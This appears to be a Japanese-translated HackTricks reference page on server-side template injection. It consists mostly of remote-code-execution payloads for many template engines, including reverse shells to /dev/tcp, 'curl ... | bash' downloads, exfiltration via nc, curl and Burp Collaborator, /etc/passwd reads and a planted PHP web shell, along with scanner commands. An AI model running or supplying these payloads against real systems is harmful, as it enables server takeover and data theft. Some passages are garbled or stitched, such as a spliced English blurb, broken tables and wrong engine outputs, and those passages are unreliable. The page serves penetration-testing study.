.. | ||
el-expression-language.md | ||
jinja2-ssti.md | ||
README.md |
SSTI (Server Side Template Injection)
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする
- ハッキングトリックを共有するには、PRを HackTricks と HackTricks Cloud のGitHubリポジトリに提出してください。
RootedCON はスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの1つです。技術的知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
サーバーサイドテンプレートインジェクションとは何ですか?
サーバーサイドテンプレートインジェクションは、攻撃者が悪意のあるペイロードをテンプレートに注入し、それがサーバーサイドで実行されることができるように、ネイティブテンプレート構文を使用できる場合に発生します。
テンプレートエンジンは、固定テンプレートと不安定データを組み合わせてウェブページを生成するように設計されています。サーバーサイドテンプレートインジェクション攻撃は、ユーザー入力がデータとして渡されるのではなく、直接テンプレートに連結される場合に発生します。これにより、攻撃者は任意のテンプレートディレクティブを注入してテンプレートエンジンを操作し、しばしばサーバーの完全な制御を取ることができます。
脆弱なコードの例は次のとおりです:
$output = $twig->render("Dear " . $_GET['name']);
前の例では、テンプレートの一部がGET
パラメータname
を使用して動的に生成されています。テンプレート構文がサーバーサイドで評価されるため、これにより攻撃者がname
パラメータ内にサーバーサイドテンプレートインジェクションペイロードを配置する可能性があります。
http://vulnerable-website.com/?name={{bad-stuff-here}}
サーバーサイドテンプレートインジェクション攻撃の構築
検出
どんな脆弱性でも、悪用に向けた最初のステップはそれを見つけることです。おそらく最も簡単な初期アプローチは、テンプレートに一般的に使用される特殊文字のシーケンスをインジェクトしてテンプレートをファジングすることです。例えば、ポリグロットの**${{<%[%'"}}%\
などです。
サーバーが脆弱かどうかを確認するためには、パラメーターに通常のデータを入力した場合と指定されたペイロードを入力した場合の応答の違いを見つける必要があります。
エラーが発生すると、サーバーが脆弱であることやどのエンジンが実行されているかを簡単に特定できます。また、指定されたペイロードを反映することを期待していた場合に反映されていない場合や応答に一部の文字が欠落**している場合にも、脆弱なサーバーを見つけることができます。
検出 - プレーンテキストコンテキスト
指定された入力がレンダリングおよび反映されて応答に表示されます。これは簡単に単純なXSS脆弱性と誤解されることがありますが、テンプレート式内で数学演算を設定しようとすると区別が容易です。
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
検出 - コードの文脈
これらのケースでは、ユーザー入力 が テンプレート式 の中に配置されています。
engine.render("Hello {{"+greeting+"}}", data)
URLアクセスは次のようになる可能性があります:http://vulnerable-website.com/?greeting=data.username
greeting
パラメータを異なる値に変更すると、レスポンスにはユーザー名が含まれませんが、http://vulnerable-website.com/?greeting=data.username}}hello
のようにアクセスすると、レスポンスにユーザー名が含まれます(終了テンプレート式の文字が }}
の場合)。
これらのテスト中にエラーが発生した場合、サーバーが脆弱であることがわかりやすくなります。
特定
テンプレートインジェクションの潜在性を検出したら、次のステップはテンプレートエンジンを特定することです。
多くのテンプレート言語が存在しますが、多くはHTML文字と衝突しないように特に選択された非常に似た構文を使用しています。
サーバーがエラーを表示している場合、エラー内で使用されているエンジンを見つけることができます。エラーを引き起こす可能性のあるいくつかのペイロード:
${} |
{{}} |
<%= %> |
---|---|---|
${7/0} |
{{7/0}} |
<%= 7/0 %> |
${foobar} |
{{foobar}} |
<%= foobar %> |
${7*7} |
{{7*7}} |
`` |
それ以外の場合は、異なる言語固有のペイロードを手動でテストし、テンプレートエンジンによってどのように解釈されるかを調査する必要があります。これを行う一般的な方法は、異なるテンプレートエンジンの構文を使用して任意の数学演算を注入することです。それらが正常に評価されるかどうかを観察できます。このプロセスを支援するために、次のような意思決定ツリーを使用できます:
悪用
読む
テンプレートインジェクションを見つけ、テンプレートエンジンを特定した後の最初のステップは、ドキュメントを読むことです。興味のある主要な領域は次のとおりです:
- 基本構文をカバーする「テンプレート作成者向け」セクション。
- 'セキュリティに関する考慮事項' - テスト中のアプリを開発した人がこれを読んでいない可能性が高く、有用なヒントが含まれているかもしれません。
- 組み込みメソッド、関数、フィルター、および変数のリスト。
- 拡張機能/プラグインのリスト - いくつかはデフォルトで有効になっているかもしれません。
探索
脆弱性が見つからない場合、次のステップは環境を探索して、アクセス可能なものを正確に把握することです。テンプレートエンジンによって提供されるデフォルトオブジェクトと、開発者がテンプレートに渡すアプリケーション固有のオブジェクトの両方を見つけることができます。多くのテンプレートシステムは、スコープ内のすべてを含む 'self' や名前空間オブジェクトを公開し、オブジェクトの属性やメソッドをリストする方法があります。
組み込みの self オブジェクトがない場合は、SecLists と Burp Intruder のワードリストコレクションを使用して変数名をブルートフォースする必要があります。
開発者が提供したオブジェクトには、機密情報が含まれる可能性が高く、アプリケーション内の異なるテンプレート間で異なる場合があるため、このプロセスは理想的にはすべての異なるテンプレートに個別に適用されるべきです。
攻撃
この時点で、利用可能な攻撃対象について明確なアイデアを持ち、各機能を検討して脆弱性を悪用できるかどうかを確認できるはずです。広範なアプリケーションのコンテキストでアプローチすることが重要です - 一部の機能はアプリケーション固有の機能を悪用するために使用できます。以下の例では、テンプレートインジェクションを使用して任意のオブジェクト作成、任意のファイルの読み書き、リモートファイルのインクルード、情報開示、特権昇格の脆弱性をトリガーするために使用します。
ツール
TInjA
新しいポリグロットを利用する効率的なSSTI + CSTIスキャナー
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
テンプレートインジェクションテーブル
44の主要なテンプレートエンジンの期待されるレスポンスとともに、最も効率的なテンプレートインジェクションポリグロットを含むインタラクティブなテーブルです。
Exploits
一般的な
このワードリストには、以下で言及されているエンジンの環境で定義された変数が含まれています:
Java
Java - 基本的なインジェクション
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
Java - システムの環境変数を取得する
${T(java.lang.System).getenv()}
Java - /etc/passwd の取得
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
あなたは、https://try.freemarker.apache.org でペイロードを試すことができます。
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - サンドボックス回避
⚠️ Freemarkerのバージョン2.3.30未満でのみ機能します
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
詳細
- https://portswigger.net/research/server-side-template-injectionのFreeMarkerセクションを参照してください。
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
詳細情報
- https://portswigger.net/research/server-side-template-injectionのVelocityセクション
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf (Java)
SSTIの典型的なテスト式は${7*7}
です。この式はThymeleafでも機能します。リモートコード実行を達成したい場合、次のテスト式のいずれかを使用できます:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
ただし、前述のように、式は特別なThymeleaf属性でのみ機能します。テンプレートの異なる場所で式を使用する必要がある場合、Thymeleafは_式のインライン化_をサポートしています。この機能を使用するには、式を[[...]]
または[(...)]
内に配置する必要があります(特殊記号をエスケープする必要があるかどうかに応じて、どちらかを選択します)。したがって、Thymeleafに対する単純なSSTI検出ペイロードは[[${7*7}]]
となります。
ただし、上記の検出ペイロードが機能する可能性は非常に低いです。SSTIの脆弱性は通常、テンプレートがコード内で動的に生成される場合に発生します。Thymeleafはデフォルトではこのような動的に生成されたテンプレートを許可せず、すべてのテンプレートは事前に作成する必要があります。したがって、開発者が文字列からテンプレートを動的に作成したい場合、独自のTemplateResolverを作成する必要があります。これは可能ですが、非常に稀にしか発生します。
Thymeleafテンプレートエンジンのドキュメントを詳しく見てみると、_式の前処理_という興味深い機能が見つかります。アンダースコア間に配置された式(__...__
)は前処理され、前処理の結果が通常の処理中に式の一部として使用されます。以下はThymeleafドキュメントからの公式例です:
#{selection.__${sel.code}__}
脆弱な例
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
詳細情報
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
フィルターをバイパスする
複数の変数式を使用できます。${...}
が機能しない場合は、#{...}
、*{...}
、@{...}
、または~{...}
を試してみてください。
/etc/passwd
を読む
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- ペイロード生成用のカスタムスクリプト
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
詳細情報
Spring View Manipulation (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebbleの古いバージョン(バージョン3.0.9未満):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
新しいバージョンのPebble:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjavaは、Java向けのテンプレートエンジンです。これは、サーバーサイドテンプレートインジェクション(SSTI)攻撃の標的になる可能性があります。 Jinjavaを使用している場合は、慎重に入力を検証し、信頼できないデータをテンプレートに直接挿入しないようにしてください。
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
JinjavaはHubspotによって開発されたオープンソースプロジェクトで、https://github.com/HubSpot/jinjava/で入手可能です。
Jinjava - コマンド実行
https://github.com/HubSpot/jinjava/pull/230によって修正済み
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
詳細情報
Hubspot - HuBL (Java)
{% %}
ステートメントの区切り記号{{ }}
式の区切り記号{# #}
コメントの区切り記号{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest" を検索し、Github 上の Jinjava プロジェクト を発見しました。
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
詳細情報
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
ELは、プレゼンテーション層(Webページ)がアプリケーションロジック(管理されたBean)と通信するための重要なメカニズムを提供します。ELは、JavaServer Facesテクノロジー、JavaServer Pages(JSP)テクノロジー、およびJava EEのContexts and Dependency Injection for Java EE(CDI)など、いくつかのJavaEEテクノロジーで使用されています。
ELインタプリタの悪用について詳しく学ぶには、次のページをチェックしてください:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
次のセキュリティマネージャーバイパスは、この解説記事から取得されました。
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCONはスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
詳細情報
- Smartyセクションのhttps://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - テンプレート形式
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
詳細情報
- https://portswigger.net/research/server-side-template-injectionのTwigとTwig(Sandboxed)セクションを参照してください。
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates(PHP)
PlatesはTwigに触発されたが、コンパイルされたテンプレートエンジンではなく、ネイティブのPHPテンプレートエンジンです。
controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
ページのテンプレート:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
レイアウトテンプレート:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
PHPlib と HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB は PHPlib と同じで、Pear にポーティングされています。
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
Server-Side Template Injection (SSTI)
Description
Server-Side Template Injection (SSTI) occurs when an application allows user input to be evaluated by the server as a template. This can result in potential remote code execution.
Exploitation
To exploit SSTI, an attacker can inject template code into user input fields, leading to the server processing and executing the injected code.
Prevention
To prevent SSTI, avoid directly evaluating user input as templates on the server side. Use safe templating engines and sanitize user input before processing it.
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Jade (NodeJS)
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
詳細情報
- https://portswigger.net/research/server-side-template-injectionのJadeセクションにあります。
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplateは、XMLタグを使用してドキュメントを異なる部分に分割する、コンパイルされないPHPテンプレートエンジンです。
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Handlebars (NodeJS)
パストラバーサル(詳細はこちらを参照)。
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = エラー
- ${7*7} = ${7*7}
- 何も
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
詳細
JsRender (NodeJS)
テンプレート | 説明 |
---|---|
出力を評価してレンダリングする | |
HTMLエンコードされた出力を評価してレンダリングする | |
コメント | |
and | コードを許可(デフォルトでは無効) |
- = 49
クライアントサイド
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
サーバーサイド
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
詳細情報
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
サーバーサイドレンダリングの例
var pugjs = require('pug');
home = pugjs.render(injected_page)
詳細
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = 出力なし
- #{7*7} = #{7*7}
- {{console.log(1)}} = エラー
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
詳細情報
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
詳細
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
詳細情報
Python
Pythonで砂箱をバイパスして任意のコマンドを実行するトリックについて学ぶには、以下のページをチェックしてください:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
詳細情報
Jinja2 (Python)
Jinja2はPython向けのフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合された砂箱実行環境、広く使用されておりBSDライセンスです。
{{7*7}} = エラー
${7*7} = ${7*7}
{{foobar}} なし
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
